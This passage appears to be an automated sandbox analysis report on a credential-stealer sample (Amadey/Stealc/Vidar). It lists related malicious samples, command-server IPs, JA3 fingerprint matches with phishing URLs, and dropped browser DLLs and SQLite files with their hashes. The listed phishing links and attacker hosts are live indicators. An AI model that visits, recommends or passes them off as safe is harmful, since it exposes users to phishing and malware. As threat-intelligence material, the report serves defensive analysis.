	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	http://i777777o726f79616c627573696e65737362616e6b757361o636f6dz.oszar.com	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.63 23.32.185.164 20.231.128.66
	https://share.hsforms.com/1btg1UbajRd2Ui8qqobJYrAssgaj	Get hash	malicious	HTMLPhisher	Browse	4.175.87.197 13.107.246.63 23.32.185.164 20.231.128.66
	https://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=71STY9b6g0G2TUGL0emS8wWPU1E0zmFNnR9SsYf1SC9UREdRTE8xR1FQUFdYSk5WRlZXQ0ZJSlg4NS4u	Get hash	malicious	HTMLPhisher	Browse	4.175.87.197 13.107.246.63 23.32.185.164 20.231.128.66
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 23.32.185.164 20.231.128.66
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 13.107.246.63 23.32.185.164 20.231.128.66
	https://www.scribd.com/document/801519291/Advice-Notification#fullscreen&from_embed	Get hash	malicious	HTMLPhisher	Browse	4.175.87.197 13.107.246.63 23.32.185.164 20.231.128.66
	Fw Your flight has been cancelled.eml	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.63 23.32.185.164 20.231.128.66
	https://login.officeteam.didgim.com/factpath/resources/patch/047620476204762098/?tpj=PlKRhyZP6wwT3cO_YX5-vBD5GuXYTvvU?SehS24G3uU3qw64njI8IZH7gQJoi5rbp7C2uDZbPGel89LOXSbLkxzcBkcMiAnricyOgDlVZzgK16brTMbOGyuYoLIN4U0HH714J	Get hash	malicious	ReCaptcha Phish	Browse	4.175.87.197 13.107.246.63 23.32.185.164 20.231.128.66
	Doc_21-04-53.js	Get hash	malicious	Matanbuchus	Browse	4.175.87.197 13.107.246.63 23.32.185.164 20.231.128.66
	https://assets-gbr.mkt.dynamics.com/cc57758b-ada1-ef11-8a64-000d3a872ba0/digitalassets/standaloneforms/7608c709-85a2-ef11-8a69-7c1e5279b2dd	Get hash	malicious	Unknown	Browse	4.175.87.197 13.107.246.63 23.32.185.164 20.231.128.66
6271f898ce5be7dd52b0fc260d0662b3	BGM LAW GROUP - RFP 2024.pdf	Get hash	malicious	Unknown	Browse	150.171.27.10 20.103.156.88 2.16.158.32 2.16.158.83
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10 20.103.156.88 2.16.158.32 2.16.158.83
	Pago pendiente.vbs	Get hash	malicious	XenoRAT	Browse	150.171.27.10 20.103.156.88 2.16.158.32 2.16.158.83
	Outstanding_Payment.vbs_.vbs	Get hash	malicious	Unknown	Browse	150.171.27.10 20.103.156.88 2.16.158.32 2.16.158.83
	Platinum Hall County, Georgia Proposal (16.6 KB).docx	Get hash	malicious	KnowBe4	Browse	150.171.27.10 20.103.156.88 2.16.158.32 2.16.158.83
	http://url969.uniteddeleverycompany.com/ls/click?upn=u001.H7qy8CwvNpiem-2Bf7DeMFk7YJf68sOidxEWakApUPIOSZg2OY8dbdpgPNdKDwG5r9FFRxGTcDR4Y40gkedjWn5gmaEy2hdp5PhuemKZpyV0zDF4yZB1nSDE1glVUHkAxvk-2Bay1ScD58FIOgYpgYP6N0ScK3-2BfYjxiyiX8IVVnDpwETyB9eFyZIpVwHB3s73fG91OsUU5I5qElZ5zc-2F019KUvyyM6RxeXMegmcNjDutTA-2FnxufBtCMFX4wRkoDOM-2BzzsCiJIoY1mc9q42wLMHiq-2B4vv2-2FqoR1f2l-2BCmuACM5q-2FNbDZQstkQL5-2FH30fC7m19Rn-2BlXgwexRgjH0XwyNE8I2tRC8iv5uAUiLQk1AD6k0bLjsvdQWk9bfnh9YPL7n6nCIBdvs55pyxgyRAhb2C3g-3D-3DzLOu_oNIH2-2FxJ-2FTe1FaVJ1jWIKVy-2BRH8quBB-2F7-2FAZY1zuBa8sYO3A2kRlNC5SRLFjReRDbNAqQc8ija5eyvb3hMHW2LijdhuT99ojcYbvfeVDR6TjM8Iqq-2F4lpz7WKfkjLfs8kULSyk-2BJ2FHXElRwIq2EjJuur8G9AAw0HjpCQ3JV-2F1d4REvZ-2BdaWGeRZa46RgdqnKhZwT4HPC-2Fcr9dZBwLnURfD1x7OZfW9R3B1ZDWRdH1V-2F-2BR-2FWmM6h4NEHHRb9NNBhFNZPaY6piFBOFNOupA2OrFLOTElocKhsbRyDVGAbiBMte7-2BAjR-2BA2H-2F9CP2UREBvDHXsH-2BmlqvAryDrKjjAy8lTbA9nho9WLS1JKeGns5pAqmjv-2FPH8p3m8V8tFEPj2WLqfG6IzXwKcOMYvSrGYkMWMsBKmgc-2Bt-2BOg9a0jxMR-2BByynWcTgKhB44PNmoRQfd9lvEhtXtJnUleVDwJMZbPw60p1K6oxTexhzM9ScXx7kCprkCgMgcfi8rgis43afOn4xM8YRcMg9tIzu64CU7VuKJ-2BMFN5I78-2B8KPrNOjHK5o6ri9rwGpR8XbmEC-2BUi0PISrd7M-2BHCYWlP2o1TBL2OAmqufIzKPL-2F0NYk7NCFq-2BQEFmracNk-2BqqlMZ00PhqEs2JN98lsOxQ6MUbXZMcj-2FhqVBZVN97wkN60D56kJ-2FOQiaa7gW2IP4afUKBiy9Wl-2B0h0QTfxVEz3DZUlxRmNpooAbQL5Uk9Km4liDjAnP-2F9rKBZSc3OZEf33ZNLDn8jMDI2p9XCpZ-2BdDlLCTUAgCLNK0FE-2BJVvF9LYHxIrcC8tpkLszOdDeZHX2xcWm6Lc3y7tQCdb1uaEkAxyHmalygulTA8ODCE0Qj21BBKduU8fdD8C7u4Nqc-2BpJjM-2FhEfOBaq9vq0rNhSs4OVsJ7hESECV5WQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse	150.171.27.10 20.103.156.88 2.16.158.32 2.16.158.83
	Outstanding_Payment.vbs	Get hash	malicious	Unknown	Browse	150.171.27.10 20.103.156.88 2.16.158.32 2.16.158.83
	https://ness.wiktripfitness.com/ghjki9l-8765t4/3/er4t5y6u7jyhtgrfefrgthyjuyhtgdsarfedwsqa	Get hash	malicious	Unknown	Browse	150.171.27.10 20.103.156.88 2.16.158.32 2.16.158.83
	BQ_PO#385995.exe	Get hash	malicious	RedLine, Snake Keylogger, VIP Keylogger, XWorm	Browse	150.171.27.10 20.103.156.88 2.16.158.32 2.16.158.83
	https://cdn.tailwindcss.com	Get hash	malicious	Unknown	Browse	150.171.27.10 20.103.156.88 2.16.158.32 2.16.158.83
3b5074b1b5d032e5620f69f9f700ff0e	TECHNICAL SPECIFICATIONS.exe	Get hash	malicious	AgentTesla	Browse	20.198.119.143
	a9YMw44iQq.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	20.198.119.143
	ozgpPwVAu1.exe	Get hash	malicious	XWorm	Browse	20.198.119.143
	https://www.google.ca/url?q=1120091333775300779273902563687390256368&rct=11200913337753007792&sa=t&url=amp/s/elanpro.net/horeca/dispenc#YnJ1bml0YS5kdW5jYW5AcGFydG5lcnNtZ3UuY29t	Get hash	malicious	HTMLPhisher	Browse	20.198.119.143
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.198.119.143
	BGM LAW GROUP - RFP 2024.pdf	Get hash	malicious	Unknown	Browse	20.198.119.143
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.198.119.143
	Shipping Documents 72908672134.exe	Get hash	malicious	AgentTesla	Browse	20.198.119.143
	https://app.droplet.io/form/K47rYN	Get hash	malicious	Unknown	Browse	20.198.119.143
	QUOTE_JULQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	20.198.119.143

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	cTjQ45fs0O.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	cTjQ45fs0O.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\FIJKEHJJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCBGIIECGHCAKECAFBFH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\GHDBKJKJKKJDGDGDGIDG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCFCAAEB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDGCGHIJKEGIECBFCBAECGIEBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JEHIIDGCFHIEGDGCBFHDBAEHDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJECAAEHCFIEBGCBGHIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: cTjQ45fs0O.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: cTjQ45fs0O.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\80b9d0aa-ecfc-4357-b8a2-09d602d9b486.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44929
Entropy (8bit):	6.095231960897683
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWoyi1zNtIWdoO29CSzFvEjKJDSgzMMd6qD47u3+CiB:+/Ps+wsI7ynyWdov+KtSmd6qE7lFoC
MD5:	BE1A0D879555686D76E34168C91634B9
SHA1:	07A7E8D152968B5707F3A17C1239F2A7E9A33C3F
SHA-256:	DB3F010B67BE446EB94D0236EB0971A0DAA44D5948B4E1D059FF81D1693A4ECF
SHA-512:	93B6DF916D48B7349DBC492BC05CA918DD0FC0F5B243B0D62B5A260AFF19779ED3DC69B058EA8AD8C0405CE342CA36F6921EC5A17E0FB9537280C2B8D6C7EC3B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\812198ca-5696-45a1-9d1e-7b72a5c7a410.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
